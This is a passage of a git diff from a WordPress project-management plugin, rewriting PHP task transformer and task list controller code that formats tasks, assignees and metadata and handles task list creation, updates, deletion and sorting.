$data['completed_at'] = empty( $assign->completed_at ) ? [] : format_date( $assign->completed_at ); - $data['started_at'] = empty( $assign->started_at ) ? [] : format_date( $assign->started_at ); - $data['assigned_at'] = empty( $assign->assigned_at ) ? [] : format_date( $assign->assigned_at ); - $data['status'] = empty( $assign->status ) ? 0 : (int) $assign->status; - - $assignees['data'][] = $data; - - } - - return $assignees; - } -} + (int) $item->id, + 'title' => $item->title, + 'description' => [ 'html' => pm_get_content( $item->description ), 'content' => $item->description ], + 'estimation' => $item->estimation, + 'start_at' => format_date( $item->start_at ), + 'due_date' => format_date( $item->due_date ), + 'complexity' => $item->complexity, + 'priority' => $item->priority, + //'order' => (int) $order, + 'payable' => $item->payable, + 'recurrent' => $item->recurrent, + 'parent_id' => $item->parent_id, + 'status' => $item->status, + 'project_id' => $item->project_id, + 'category_id' => $item->category_id, + 'created_at' => format_date( $item->created_at ), + 'completed_at' => format_date( $item->completed_at ), + 'updated_at' => format_date( $item->updated_at ), + 'task_list_id' => $item->task_list, + 'meta' => $this->meta( $item ), + 'assignees' => $this->assignees( $item ), + 'creator' => $this->get_creator( $item ) + ]; + + if ( $this->list_task_transormer_filter ) { + return apply_filters( 'pm_list_task_transormer', $task, $item ); + } + + return $task; + } + + public function get_creator( $item ) { + if(empty($item->created_by)) { + return []; + } + + $user = get_user_by( 'id', $item->created_by ); + + if ( ! $user ) { + return []; + } + + $data = [ + 'id' => (int) $user->ID, + 'username' => $user->user_login, + 'nicename' => $user->user_nicename, + 'email' => $user->user_email, + 'profile_url' => $user->user_url, + 'display_name' => $user->display_name, + 'manage_capability' => (int) pm_has_manage_capability($user->ID), + 'create_capability' => (int) pm_has_project_create_capability($user->ID), + 'avatar_url' => get_avatar_url( $user->user_email ), + ]; + + return $user; + } + + + public function meta( Task $item ) { + $metas = [ + 'can_complete_task' => $this->pm_user_can_complete_task( $item ), + 'total_comment' => $item->total_comment, + ]; + + return $metas; + } + + function pm_user_can_complete_task( $item ) { + + if( ! $item ) { + return false; + } + + $user_id = get_current_user_id(); + + if ( pm_has_manage_capability( $user_id ) ) { + return true; + } + + if ( pm_is_manager( $item->project_id, $user_id ) ) { + return true; + } + + if ( $item->created_by == $user_id ) { + return true; + } + + $assignees = $this->get_task_assignee_ids( $item ); //pluck( 'assigned_to' )->all(); + $in_array = in_array( $user_id, $assignees ); + + if ( !empty( $in_array ) ) { + return true; + } + + return false; + } + + public function get_task_assignee_ids( $item ) { + $assigness = []; + if( empty( $item->assignees ) ) { + return []; + } + + $users = $item->assignees; + + foreach ( $users as $key => $assign ) { + + if ( is_object( $assign ) ) { + $user_id = $assign->assigned_to; + } else { + $user_id = $assign['assigned_to']; + } + + if ( ! empty( $user_id ) ) { + $assigness[] = $user_id; + } + + } + + return $assigness; + } + + public function assignees( $item ) { + $assignees = ['data'=>[]]; + + if( empty( $item->assignees ) ) { + return $assignees; + } + + foreach ( $item->assignees as $key => $assign ) { + + if ( is_object( $assign ) ) { + $user_id = $assign->assigned_to; + } else { + $user_id = $assign['assigned_to']; + } + + if ( empty( $user_id ) ) continue; + + $user = get_user_by( 'id', $user_id ); + + $data = [ + 'id' => (int) $user->ID, + 'username' => $user->user_login, + 'nicename' => $user->user_nicename, + 'email' => $user->user_email, + 'profile_url' => $user->user_url, + 'display_name' => $user->display_name, + 'manage_capability' => (int) pm_has_manage_capability($user->ID), + 'create_capability' => (int) pm_has_project_create_capability($user->ID), + 'avatar_url' => get_avatar_url( $user->user_email ), + ]; + + + $data['completed_at'] = empty( $assign->completed_at ) ? [] : format_date( $assign->completed_at ); + $data['started_at'] = empty( $assign->started_at ) ? [] : format_date( $assign->started_at ); + $data['assigned_at'] = empty( $assign->assigned_at ) ? [] : format_date( $assign->assigned_at ); + $data['status'] = empty( $assign->status ) ? 0 : (int) $assign->status; + + $assignees['data'][] = $data; + + } + + return $assignees; + } +} diff --git a/src/Task/Transformers/Task_Transformer.php b/src/Task/Transformers/Task_Transformer.php index 5e9b745b5..fc88c5b63 100644 --- a/src/Task/Transformers/Task_Transformer.php +++ b/src/Task/Transformers/Task_Transformer.php @@ -1,238 +1,238 @@ -pivot ) { - $order = $item->pivot->order; - } else { - $orderObj = Boardable::where(['boardable_id' => $item->id, 'boardable_type' => 'task'])->first(); - if ( $orderObj ) { - $order = $orderObj->order; - } else { - $order = 0; - } - } - - return apply_filters( - 'pm_task_transform', - [ - 'id' => (int) $item->id, - 'title' => $item->title, - 'description' => [ 'html' => pm_get_content( pm_kses( $item->description ) ), 'content' => pm_kses( $item->description ) ], - 'estimation' => $item->estimation, - 'start_at' => format_date( $item->start_at ), - 'due_date' => format_date( $item->due_date ), - 'complexity' => $item->complexity, - 'priority' => $item->priority, - 'order' => (int) $order, - 'payable' => $item->payable, - 'recurrent' => $item->recurrent, - 'parent_id' => $item->parent_id, - 'status' => $item->status, - 'project_id' => $item->project_id, - 'category_id' => $item->category_id, - 'created_at' => format_date( $item->created_at ), - 'completed_at' => format_date( $item->completed_at ), - 'updated_at' => format_date( $item->updated_at ), - 'task_list_id' => $item->task_list, - 'meta' => $this->meta( $item ), - 'type' => $this->get_type( $item->id ) - ], - $item - ); - } - - public function get_type( $item_id ) { - global $wpdb; - - $tb_task_types = pm_tb_prefix() . 'pm_task_types'; - $tb_task_type_task = pm_tb_prefix() . 'pm_task_type_task'; - $tb_tasks = pm_tb_prefix() . 'pm_tasks'; - - $query = "SELECT DISTINCT typ.id as type_id, typ.title, typ.description, tk.id as task_id - FROM $tb_task_types as typ - LEFT JOIN $tb_task_type_task as typt ON typ.id = typt.type_id - LEFT JOIN $tb_tasks as tk ON tk.id = typt.task_id - where tk.id IN ($item_id)"; - - $result = $wpdb->get_row( $query ); - - if ( $result ) { - $result->id = (int) $result->type_id; - - unset( $result->type_id ); - } - - return $result; - - } - - - public function meta( Task $item ) { - $meta = $item->metas()->get()->toArray(); - $meta = wp_list_pluck( $meta, 'meta_value', 'meta_key' ); - - $metas = array_merge( $meta, [ - 'total_comment' => $item->comments->count(), - 'total_files' => $item->files->count(), - 'total_board' => $item->boards->count(), - 'total_assignee' => $item->assignees->count(), - 'can_complete_task' => pm_user_can_complete_task( $item ), - ] ); - - return $metas; - } - - - /** - * Getter for defaultIncludes. - * - * @return array - */ - public function getDefaultIncludes() - { - return apply_filters( "pm_task_transformer_default_includes", $this->defaultIncludes ); - } - /** - * Include task list - * - * @param Task $item - * @return \League\Fractal\Resource\Item - */ - public function includeTaskList( Task $item ) { - $task_list = $item->task_lists->first(); - - if ( ! empty( $task_list ) ) { - return $this->item( $task_list, new Task_List_Transformer ); - } - - return null; - } - - /** - * Include boards in which the task is atttached - * - * @param Task $item - * @return \League\Fractal\Resource\Collection - */ - public function includeBoards( Task $item ) { - $page = isset( $_GET['board_page'] ) ? intval($_GET['board_page']) : 1; - - Paginator::currentPageResolver(function () use ($page) { - return $page; - }); - - $boards = $item->boards() - ->orderBy( 'created_at', 'DESC' ) - ->paginate( 10 ); - - $board_collection = $boards->getCollection(); - $resource = $this->collection( $board_collection, new Board_Transformer ); - - $resource->setPaginator( new IlluminatePaginatorAdapter( $boards ) ); - - return $resource; - } - - public function includeComments( Task $item ) { - $page = isset( $_GET['comment_page'] ) ? intval( $_GET['comment_page'] ) : 1; - - Paginator::currentPageResolver(function () use ($page) { - return $page; - }); - - $comments = $item->comments() - ->orderBy( 'created_at', 'ASC' ) - ->paginate( pm_config('app.comment_per_page') ); - - $comment_collection = $comments->getCollection(); - $resource = $this->collection( $comment_collection, new Comment_Transformer ); - - $resource->setPaginator( new IlluminatePaginatorAdapter( $comments ) ); - - return $resource; - } - - public function includeAssignees( Task $item ) { - $users = $item->user; - //pmpr(pm_get_response($this->collection( $users, new User_Transformer ))); die(); - return $this->collection( $users, new User_Transformer ); - } - - public function includeActivities( Task $item ) { - $page = isset( $_GET['activitie_page'] ) ? intval( $_GET['activitie_page'] ) : 1; - - Paginator::currentPageResolver(function () use ($page) { - return $page; - }); - - $activities = $item->activities()->paginate( 10 ); - return $this->collection( $activities, new Activity_Transformer ); - } - - public function includeFiles( Task $item ) { - $page = isset( $_GET['file_page'] ) ? intval( $_GET['file_page'] ) : 1; - - Paginator::currentPageResolver(function () use ($page) { - return $page; - }); - - $files = $item->files()->paginate( 10 ); - - $file_collection = $files->getCollection(); - $resource = $this->collection( $file_collection, new File_Transformer ); - - $resource->setPaginator( new IlluminatePaginatorAdapter( $files ) ); - - return $resource; - } - - public function includeCompleter( $item ) { - $completer = $item->completer; - return $this->item( $completer, new User_Transformer ); - } -} +pivot ) { + $order = $item->pivot->order; + } else { + $orderObj = Boardable::where(['boardable_id' => $item->id, 'boardable_type' => 'task'])->first(); + if ( $orderObj ) { + $order = $orderObj->order; + } else { + $order = 0; + } + } + + return apply_filters( + 'pm_task_transform', + [ + 'id' => (int) $item->id, + 'title' => $item->title, + 'description' => [ 'html' => pm_get_content( pm_kses( $item->description ) ), 'content' => pm_kses( $item->description ) ], + 'estimation' => $item->estimation, + 'start_at' => format_date( $item->start_at ), + 'due_date' => format_date( $item->due_date ), + 'complexity' => $item->complexity, + 'priority' => $item->priority, + 'order' => (int) $order, + 'payable' => $item->payable, + 'recurrent' => $item->recurrent, + 'parent_id' => $item->parent_id, + 'status' => $item->status, + 'project_id' => $item->project_id, + 'category_id' => $item->category_id, + 'created_at' => format_date( $item->created_at ), + 'completed_at' => format_date( $item->completed_at ), + 'updated_at' => format_date( $item->updated_at ), + 'task_list_id' => $item->task_list, + 'meta' => $this->meta( $item ), + 'type' => $this->get_type( $item->id ) + ], + $item + ); + } + + public function get_type( $item_id ) { + global $wpdb; + + $tb_task_types = pm_tb_prefix() . 'pm_task_types'; + $tb_task_type_task = pm_tb_prefix() . 'pm_task_type_task'; + $tb_tasks = pm_tb_prefix() . 'pm_tasks'; + + $query = "SELECT DISTINCT typ.id as type_id, typ.title, typ.description, tk.id as task_id + FROM $tb_task_types as typ + LEFT JOIN $tb_task_type_task as typt ON typ.id = typt.type_id + LEFT JOIN $tb_tasks as tk ON tk.id = typt.task_id + where tk.id IN ($item_id)"; + + $result = $wpdb->get_row( $query ); + + if ( $result ) { + $result->id = (int) $result->type_id; + + unset( $result->type_id ); + } + + return $result; + + } + + + public function meta( Task $item ) { + $meta = $item->metas()->get()->toArray(); + $meta = wp_list_pluck( $meta, 'meta_value', 'meta_key' ); + + $metas = array_merge( $meta, [ + 'total_comment' => $item->comments->count(), + 'total_files' => $item->files->count(), + 'total_board' => $item->boards->count(), + 'total_assignee' => $item->assignees->count(), + 'can_complete_task' => pm_user_can_complete_task( $item ), + ] ); + + return $metas; + } + + + /** + * Getter for defaultIncludes. + * + * @return array + */ + public function getDefaultIncludes() + { + return apply_filters( "pm_task_transformer_default_includes", $this->defaultIncludes ); + } + /** + * Include task list + * + * @param Task $item + * @return \League\Fractal\Resource\Item + */ + public function includeTaskList( Task $item ) { + $task_list = $item->task_lists->first(); + + if ( ! empty( $task_list ) ) { + return $this->item( $task_list, new Task_List_Transformer ); + } + + return null; + } + + /** + * Include boards in which the task is atttached + * + * @param Task $item + * @return \League\Fractal\Resource\Collection + */ + public function includeBoards( Task $item ) { + $page = isset( $_GET['board_page'] ) ? intval($_GET['board_page']) : 1; + + Paginator::currentPageResolver(function () use ($page) { + return $page; + }); + + $boards = $item->boards() + ->orderBy( 'created_at', 'DESC' ) + ->paginate( 10 ); + + $board_collection = $boards->getCollection(); + $resource = $this->collection( $board_collection, new Board_Transformer ); + + $resource->setPaginator( new IlluminatePaginatorAdapter( $boards ) ); + + return $resource; + } + + public function includeComments( Task $item ) { + $page = isset( $_GET['comment_page'] ) ? intval( $_GET['comment_page'] ) : 1; + + Paginator::currentPageResolver(function () use ($page) { + return $page; + }); + + $comments = $item->comments() + ->orderBy( 'created_at', 'ASC' ) + ->paginate( pm_config('app.comment_per_page') ); + + $comment_collection = $comments->getCollection(); + $resource = $this->collection( $comment_collection, new Comment_Transformer ); + + $resource->setPaginator( new IlluminatePaginatorAdapter( $comments ) ); + + return $resource; + } + + public function includeAssignees( Task $item ) { + $users = $item->user; + //pmpr(pm_get_response($this->collection( $users, new User_Transformer ))); die(); + return $this->collection( $users, new User_Transformer ); + } + + public function includeActivities( Task $item ) { + $page = isset( $_GET['activitie_page'] ) ? intval( $_GET['activitie_page'] ) : 1; + + Paginator::currentPageResolver(function () use ($page) { + return $page; + }); + + $activities = $item->activities()->paginate( 10 ); + return $this->collection( $activities, new Activity_Transformer ); + } + + public function includeFiles( Task $item ) { + $page = isset( $_GET['file_page'] ) ? intval( $_GET['file_page'] ) : 1; + + Paginator::currentPageResolver(function () use ($page) { + return $page; + }); + + $files = $item->files()->paginate( 10 ); + + $file_collection = $files->getCollection(); + $resource = $this->collection( $file_collection, new File_Transformer ); + + $resource->setPaginator( new IlluminatePaginatorAdapter( $files ) ); + + return $resource; + } + + public function includeCompleter( $item ) { + $completer = $item->completer; + return $this->item( $completer, new User_Transformer ); + } +} diff --git a/src/Task_List/Controllers/Task_List_Controller.php b/src/Task_List/Controllers/Task_List_Controller.php index 979cde553..554687d5d 100644 --- a/src/Task_List/Controllers/Task_List_Controller.php +++ b/src/Task_List/Controllers/Task_List_Controller.php @@ -1,730 +1,730 @@ -prefix . 'pm_tasks'; - $list_tb = $wpdb->prefix . 'pm_boardables'; - - $project_id = $request->get_param( 'project_id' ); - $per_page = $request->get_param( 'per_page' ); - $status = $request->get_param( 'status' ); - $list_id = $request->get_param( 'list_id' ); //must be a array - $per_page_from_settings = pm_get_setting( 'list_per_page' ); - $per_page_from_settings = $per_page_from_settings ? $per_page_from_settings : 15; - $per_page = $per_page ? $per_page : $per_page_from_settings; - $with = $request->get_param( 'with' ); - $with = explode( ',', $with ); - - $page = $request->get_param( 'page' ); - $page = $page ? $page : 1; - - if ( ! is_array( $status ) ) { - if ( strpos( $status, ',' ) !== false ) { - $status = str_replace( ' ', '', $status ); - $status = explode( ',', $status ); - } - } - - if ( ! empty( $status ) ) { - $status = is_array( $status ) ? $status : [$status]; - } - - if ( !isset($status) ) { - $status = [1]; - } - - if ( isset( $status ) && $status == 0 ) { - $status = [0]; - } - - Paginator::currentPageResolver(function () use ($page) { - return $page; - }); - - $tb_tasks = pm_tb_prefix() . 'pm_tasks'; - $tb_lists = pm_tb_prefix() . 'pm_boards'; - $tb_boardable = pm_tb_prefix() . 'pm_boardables'; - $tb_meta = pm_tb_prefix() . 'pm_meta'; - $title = $request->get_param( 'title' ); - $is_archive = $request->get_param( 'is_archive' ); - - $task_lists = Task_List::select( $tb_lists . '.*' ) - ->selectRaw( - "GROUP_CONCAT( - DISTINCT - CONCAT( - '{', - '\"', 'meta_key', '\"', ':' , '\"', IFNULL($tb_meta.meta_key, '') , '\"', ',', - '\"', 'meta_value', '\"', ':' , '\"', IFNULL($tb_meta.meta_value, '') , '\"' - ,'}' - ) SEPARATOR '|' - ) as meta" - ) - ->leftJoin( $tb_boardable, function( $join ) use($tb_boardable, $tb_lists) { - $join->on( $tb_lists . '.id', '=', $tb_boardable . '.board_id' ); - }) - ->leftJoin( $tb_meta, function( $join ) use($tb_meta, $tb_lists) { - $join->on( $tb_lists . '.id', '=', $tb_meta . '.entity_id' ) - ->where( function($q) use($tb_meta) { - $q->where($tb_meta . '.entity_type', 'task_list'); - $q->orWhereNull($tb_meta . '.entity_type'); - }); - }) - ->where( pm_tb_prefix() .'pm_boards.project_id', $project_id) - ->groupBy($tb_lists.'.id'); - - if ( ! empty( $status ) ) { - $task_lists->whereIn( pm_tb_prefix() .'pm_boards.status', $status ); - } else { - //for archive task-list - $task_lists->where( pm_tb_prefix() .'pm_boards.status', $status ); - } - - if ( ! empty( $title ) ) { - $task_lists->where( pm_tb_prefix() .'pm_boards.title', 'like', '%'.$title.'%'); - } - - $task_lists = apply_filters( "pm_task_list_check_privacy", $task_lists, $project_id, $request ); - - if ( $per_page == '-1' ) { - $per_page = $task_lists->count(); - } - - $task_lists = $task_lists->orderBy( $tb_lists. '.order', 'DESC' ) - ->paginate( $per_page ); - - $list_ids = []; - $task_list_collection = $task_lists->getCollection(); - - foreach ( $task_list_collection as $key => $collection ) { - $list_ids[] = $collection->id; - } - - $milestones = $this->get_milestone_by_list_ids( $list_ids ); - $lists_tasks_count = $this->get_lists_tasks_count( $list_ids, $project_id ); - - foreach ( $task_list_collection as $key => $collection ) { - $collection->lists_tasks_count = empty( $lists_tasks_count[$collection->id] ) ? [] : $lists_tasks_count[$collection->id]; - $milestone = empty( $milestones[$collection->id] ) ? [] : $milestones[$collection->id]; - $collection->milestone = [ - 'data' => $milestone - ]; - } - - $resource = new Collection( $task_list_collection, new New_Task_List_Transformer ); - $resource->setPaginator( new IlluminatePaginatorAdapter( $task_lists ) ); - - $lists = $this->get_response( $resource ); - - if ( in_array( 'incomplete_tasks', $with ) ) { - $incomplete_task_ids = ( new Task_Controller )->get_incomplete_task_ids( $list_ids, $project_id ); - $incomplete_tasks = ( new Task_Controller )->get_tasks( $incomplete_task_ids, ['project_id' => $project_id] ); - - $lists = $this->set_incomplete_task_in_lists( $lists, $incomplete_tasks ); - } - - if ( in_array( 'complete_tasks', $with ) ) { - $complete_task_ids = ( new Task_Controller )->get_complete_task_ids( $list_ids, $project_id ); - $complete_tasks = ( new Task_Controller )->get_tasks( $complete_task_ids, ['project_id' => $project_id] ); - - $lists = $this->set_complete_task_in_lists( $lists, $complete_tasks ); - } - - return $lists; - } - - public function set_incomplete_task_in_lists( $lists, $incomplete_tasks ) { - $filter_tasks = []; - - foreach ( $incomplete_tasks['data'] as $key => $task ) { - $filter_tasks[$task['task_list_id']][] = $task; - } - - foreach ( $lists['data'] as $key => $list ) { - // $lists['data'][$key]['incomplete_tasks']['meta'] = $incomplete_tasks['meta']; - $lists['data'][$key]['incomplete_tasks']['data'] = []; - if ( ! empty( $filter_tasks[$list['id']] ) ) { - $lists['data'][$key]['incomplete_tasks']['data'] = $filter_tasks[ $list['id'] ]; - } - } - - return $lists; - } - - public function set_complete_task_in_lists( $lists, $complete_tasks ) { - $filter_tasks = []; - - foreach ( $complete_tasks['data'] as $key => $task ) { - $filter_tasks[$task['task_list_id']][] = $task; - } - - foreach ( $lists['data'] as $key => $list ) { - //$lists['data'][$key]['complete_tasks']['meta'] = $complete_tasks['meta']; - $lists['data'][$key]['complete_tasks']['data'] = []; - if ( ! empty( $filter_tasks[$list['id']] ) ) { - $lists['data'][$key]['complete_tasks']['data'] = $filter_tasks[$list['id']]; - } - } - - return $lists; - } - - public function listInbox ( WP_REST_Request $request ) { - $project_id = $request->get_param( 'project_id' ); - $tasks = Task::parent()->doesnthave('boardables')->where('project_id', $project_id)->get(); - - $resource = new Collection ( $tasks, new Task_Transformer ); - - return $this->get_response( $resource ); - - } - - public function show( WP_REST_Request $request ) { - $project_id = $request->get_param( 'project_id' ); - $task_list_id = $request->get_param( 'task_list_id' ); - $with = $request->get_param( 'with' ); - - return $this->get_list( [ - 'project_id' => $request->get_param( 'project_id' ), - 'task_list_id' => $request->get_param( 'task_list_id' ), - 'with' => $request->get_param( 'with' ) - ] ); - } - - public function get_list( $params ) { - $project_id = $params['project_id']; - $task_list_id = $params['task_list_id']; - $with = empty( $params['with'] ) ? [] : $params['with']; - $with = pm_get_prepare_data( $with ); - - $task_list = Task_List::select(pm_tb_prefix().'pm_boards.*') - //->with( 'tasks' ) - ->where( pm_tb_prefix().'pm_boards.id', $task_list_id ) - ->where( pm_tb_prefix().'pm_boards.project_id', $project_id ); - - $task_list = apply_filters("pm_task_list_show_query", $task_list, $project_id, $params ); - - $task_list = $task_list->first(); - - if ( $task_list == NULL ) { - return $this->get_response( null, [ - 'message' => pm_get_text('success_messages.no_element') - ] ); - } - - $resource = new Item( $task_list, new Task_List_Transformer ); - - $list = $this->get_response( $resource ); - $list_id = [$task_list_id]; - - if ( in_array( 'incomplete_tasks', $with ) ) { - $incomplete_task_ids = ( new Task_Controller )->get_incomplete_task_ids( $list_id, $project_id ); - $incomplete_tasks = ( new Task_Controller )->get_tasks( $incomplete_task_ids ); - - $list['data']['incomplete_tasks']['data'] = $incomplete_tasks['data']; - } - - if ( in_array( 'complete_tasks', $with ) ) { - $complete_task_ids = ( new Task_Controller )->get_complete_task_ids( $list_id, $project_id ); - $complete_tasks = ( new Task_Controller )->get_tasks( $complete_task_ids ); - - $list['data']['complete_tasks']['data'] = $complete_tasks['data']; - } - - return $list; - } - - //updated query but not filter updated - // public function get_list( $params ) { - - // $project_id = $params['project_id']; - // $task_list_id = $params['task_list_id']; - // $with = empty( $params['with'] ) ? [] : $params['with']; - // $with = pm_get_prepare_data( $with ); - - // $list = pm_get_task_lists([ - // 'id' => $task_list_id, - // 'project_id' => $project_id, - // 'with' => $with - // ]); - - // $list_id = [$task_list_id]; - - // if ( in_array( 'incomplete_tasks', $with ) ) { - // $incomplete_task_ids = ( new Task_Controller )->get_incomplete_task_ids( $list_id, $project_id ); - // $incomplete_tasks = pm_get_tasks( [ 'id' => $incomplete_task_ids ] ); - - // $list['data']['incomplete_tasks']['data'] = $incomplete_tasks['data']; - // $list['data']['incomplete_tasks']['meta'] = $incomplete_tasks['meta']; - // } - - // if ( in_array( 'complete_tasks', $with ) ) { - // $complete_task_ids = ( new Task_Controller )->get_complete_task_ids( $list_id, $project_id ); - // $complete_tasks = pm_get_tasks( [ 'id' => $complete_task_ids ] ); - - // $list['data']['complete_tasks']['data'] = $complete_tasks['data']; - // $list['data']['complete_tasks']['meta'] = $complete_tasks['meta']; - // } - - // return $list; - // } - - public static function create_tasklist( $data ) { - $self = self::getInstance(); - $milestone_id = $data[ 'milestone' ]; - $project_id = $data[ 'project_id' ]; - $is_private = $data[ 'privacy' ]; - $data['is_private'] = $is_private == 'true' || $is_private === true ? 1 : 0; - - $milestone = Milestone::find( $milestone_id ); - $latest_order = Task_List::latest_order( $project_id ); - $data['order'] = $latest_order + 1; - $task_list = Task_List::create( $data ); - - if ( $milestone ) { - $self->attach_milestone( $task_list, $milestone ); - } - - do_action( 'pm_new_task_list_before_response', $task_list, $data ); - $resource = new Item( $task_list, new Task_List_Transformer ); - - $message = [ - 'message' => pm_get_text('success_messages.task_list_created') - ]; - $response = $self->get_response( $resource, $message ); - do_action( 'cpm_tasklist_new', $task_list->id, $project_id, $data ); - do_action( 'pm_after_new_task_list', $response, $data ); - return $response; - } - - public function store( WP_REST_Request $request ) { - $data = $this->extract_non_empty_values( $request ); - $milestone_id = $request->get_param( 'milestone' ); - $project_id = $request->get_param( 'project_id' ); - $is_private = $request->get_param( 'privacy' ); - $data['is_private'] = $is_private == 'true' || $is_private === true ? 1 : 0; - - $milestone = Milestone::find( $milestone_id ); - $latest_order = Task_List::latest_order($project_id); - $data['order'] = $latest_order + 1; - $task_list = Task_List::create( $data ); - - if ( $milestone ) { - $this->attach_milestone( $task_list, $milestone ); - } - - do_action( 'pm_new_task_list_before_response', $task_list, $request->get_params() ); - $resource = new Item( $task_list, new Task_List_Transformer ); - - $message = [ - 'message' => pm_get_text('success_messages.task_list_created') - ]; - $response = $this->get_response( $resource, $message ); - do_action( 'cpm_tasklist_new', $task_list->id, $project_id, $request->get_params() ); - do_action( 'pm_after_new_task_list', $response, $request->get_params() ); - return $response; - } - - public function update( WP_REST_Request $request ) { - $data = $this->extract_non_empty_values( $request ); - - $project_id = $request->get_param( 'project_id' ); - $task_list_id = $request->get_param( 'task_list_id' ); - $milestone_id = $request->get_param( 'milestone' ); - $data['description'] = $request->get_param('description'); - $is_private = $request->get_param( 'privacy' ); - $data['is_private'] = $is_private == 'true' || $is_private === true ? 1 : 0; - - $milestone = Milestone::find( $milestone_id ); - $task_list = Task_List::where( 'id', $task_list_id ) - ->where( 'project_id', $project_id ) - ->first(); - - $task_list->update_model( $data ); - - if ( $milestone ) { - $this->attach_milestone( $task_list, $milestone ); - } else { - $task_list->milestones()->detach(); - } - - do_action( 'pm_update_task_list_before_response', $task_list, $request->get_params() ); - $resource = new Item( $task_list, new Task_List_Transformer ); - - $message = [ - 'message' => pm_get_text('success_messages.task_list_updated') - ]; - - $response = $this->get_response( $resource, $message ); - do_action( 'cpm_tasklist_update', $task_list_id, $project_id, $request->get_params() ); - do_action( 'pm_after_update_task_list', $response, $request->get_params() ); - return $response; - } - - public static function delete_tasklist( $data ) { - $self = self::getInstance(); - $project_id = $data[ 'project_id' ]; - $task_list_id = $data[ 'task_list_id' ]; - $task_list = Task_List::where( 'id', $task_list_id ) - ->where( 'project_id', $project_id ) - ->first(); - - do_action( 'pm_before_delete_task_list', $task_list_id, $project_id ); - do_action( 'cpm_delete_tasklist_prev', $task_list_id ); - // Delete relations - $self->detach_all_relations( $task_list ); - - // Delete the task list - $task_list->delete(); - - do_action( 'cpm_delete_tasklist_after', $task_list_id ); - do_action( 'pm_after_delete_task_list', $task_list ); - - $message = [ - 'message' => pm_get_text('success_messages.task_list_deleted') - ]; - - return $message; - } - - public function destroy( WP_REST_Request $request ) { - // Grab user inputs - $project_id = $request->get_param( 'project_id' ); - $task_list_id = $request->get_param( 'task_list_id' ); - - // Select the task list to be deleted - $task_list = Task_List::where( 'id', $task_list_id ) - ->where( 'project_id', $project_id ) - ->first(); - - do_action( 'pm_before_delete_task_list', $task_list_id, $project_id ); - do_action( 'cpm_delete_tasklist_prev', $task_list_id ); - // Delete relations - $this->detach_all_relations( $task_list ); - - // Delete the task list - $task_list->delete(); - - do_action( 'cpm_delete_tasklist_after', $task_list_id ); - do_action( 'pm_after_delete_task_list', $task_list ); - - $message = [ - 'message' => pm_get_text('success_messages.task_list_deleted') - ]; - - return $this->get_response(false, $message); - } - - private function attach_milestone( Task_List $task_list, Milestone $milestone ) { - $boardable = Boardable::where( 'boardable_id', $task_list->id ) - ->where( 'boardable_type', 'task_list' ) - ->where( 'board_type', 'milestone' ) - ->first(); - - if ( !$boardable ) { - $boardable = Boardable::firstOrCreate([ - 'boardable_id' => $task_list->id, - 'boardable_type' => 'task_list', - 'board_id' => $milestone->id, - 'board_type' => 'milestone' - ]); - } else { - $boardable->update([ - 'board_id' => $milestone->id - ]); - } - } - - private function detach_all_relations( Task_List $task_list ) { - $comments = $task_list->comments; - foreach ( $comments as $comment ) { - $comment->replies()->delete(); - $comment->files()->delete(); - } - $task_list->comments()->delete(); - - $tasks = $task_list->tasks; - foreach ( $tasks as $task ) { - $task->files()->delete(); - $task->comments()->delete(); - $task->assignees()->delete(); - $task->metas()->delete(); - Task::where('parent_id', $task->id)->delete(); - $task->delete(); - } - $task_list->metas()->delete(); - $task_list->files()->delete(); - $task_list->milestones()->detach(); - } - - public function attach_users( WP_REST_Request $request ) { - $project_id = $request->get_param( 'project_id' ); - $task_list_id = $request->get_param( 'task_list_id' ); - - $task_list = Task_List::where( 'id', $task_list_id ) - ->where( 'project_id', $project_id ) - ->first(); - - $user_ids = explode( ',', $request->get_param( 'users' ) ); - - if ( !empty( $user_ids ) ) { - foreach ( $user_ids as $user_id ) { - $data = [ - 'board_id' => $task_list->id, - 'board_type' => 'task_list', - 'boardable_id' => $user_id, - 'boardable_type' => 'user' - ]; - Boardable::firstOrCreate( $data ); - } - } - - $resource = new Item( $task_list, new Task_List_Transformer ); - - return $this->get_response( $resource ); - } - - public function detach_users( WP_REST_Request $request ) { - $project_id = $request->get_param( 'project_id' ); - $task_list_id = $request->get_param( 'task_list_id' ); - - $task_list = Task_List::where( 'id', $task_list_id ) - ->where( 'project_id', $project_id ) - ->first(); - - $user_ids = explode( ',', $request->get_param( 'users' ) ); - - $task_list->users()->whereIn( 'boardable_id', $user_ids )->delete(); - - $resource = new Item( $task_list, new Task_List_Transformer ); - - return $this->get_response( $resource ); - } - - public function privacy( WP_REST_Request $request ) { - $project_id = $request->get_param( 'project_id' ); - $task_list_id = $request->get_param( 'task_list_id' ); - $privacy = $request->get_param( 'is_private' ); - pm_update_meta( $task_list_id, $project_id, 'task_list', 'privacy', $privacy ); - return $this->get_response( NULL); - } - - public function list_sorting( WP_REST_Request $request ) { - - $orders = $request->get_param( 'orders' ); - $orders = array_reverse( $orders ); - - foreach ( $orders as $index => $order ) { - //$index = empty( $order['index'] ) ? 0 : intval( $order['index'] ); - $list_id = empty( $order['id'] ) ? '' : intval( $order['id'] ); - - $board = Board::where( 'id', $list_id ) - ->where( 'type', 'task_list' ) - ->first(); - - if ( $board ) { - $board->order = $index; - $board->save(); - } - } - - wp_send_json_success(); - } - - public function list_search( WP_REST_Request $request ) { - - $project_id = $request->get_param( 'project_id' ); - $title = $request->get_param( 'title' ); - $is_archive = $request->get_param( 'is_archive' ); - - $task_lists = Task_List::where( function($q) use( $title, $project_id, $is_archive ) { - if ( !empty( $title ) ) { - $q->where('title', 'like', '%'.$title.'%') - ->where( 'project_id', $project_id ); - - if ( ! empty( $is_archive ) ) { - $status = $is_archive == 'yes' ? 0 : 1; - $q->where( 'status', $status ); - } - } - }) - ->get(); - - $resource = new Collection( $task_lists, new Task_List_Transformer ); - - return $this->get_response( $resource ); - } - - public function get_lists_tasks_count( $list_ids, $project_id, $filter_params = [] ) { - global $wpdb; - - if ( empty( $list_ids ) ) { - $list_ids[] = 0; - } - - if ( ! is_array( $list_ids ) ) { - $list_ids = []; - } - - $tb_tasks = pm_tb_prefix() . 'pm_tasks'; - $tb_lists = pm_tb_prefix() . 'pm_boards'; - $tb_boardable = pm_tb_prefix() . 'pm_boardables'; - $tb_meta = pm_tb_prefix() . 'pm_meta'; - $tb_assigned = pm_tb_prefix() . 'pm_assignees'; - - $list_ids = implode( ',', $list_ids ); - $filter = ''; - $join = ''; - - $status = isset( $filter_params['status'] ) ? intval( $filter_params['status'] ) : false; - $due_date = empty( $filter_params['due_date'] ) ? false : date( 'Y-m-d', strtotime( $filter_params['due_date'] ) ); - $assignees = empty( 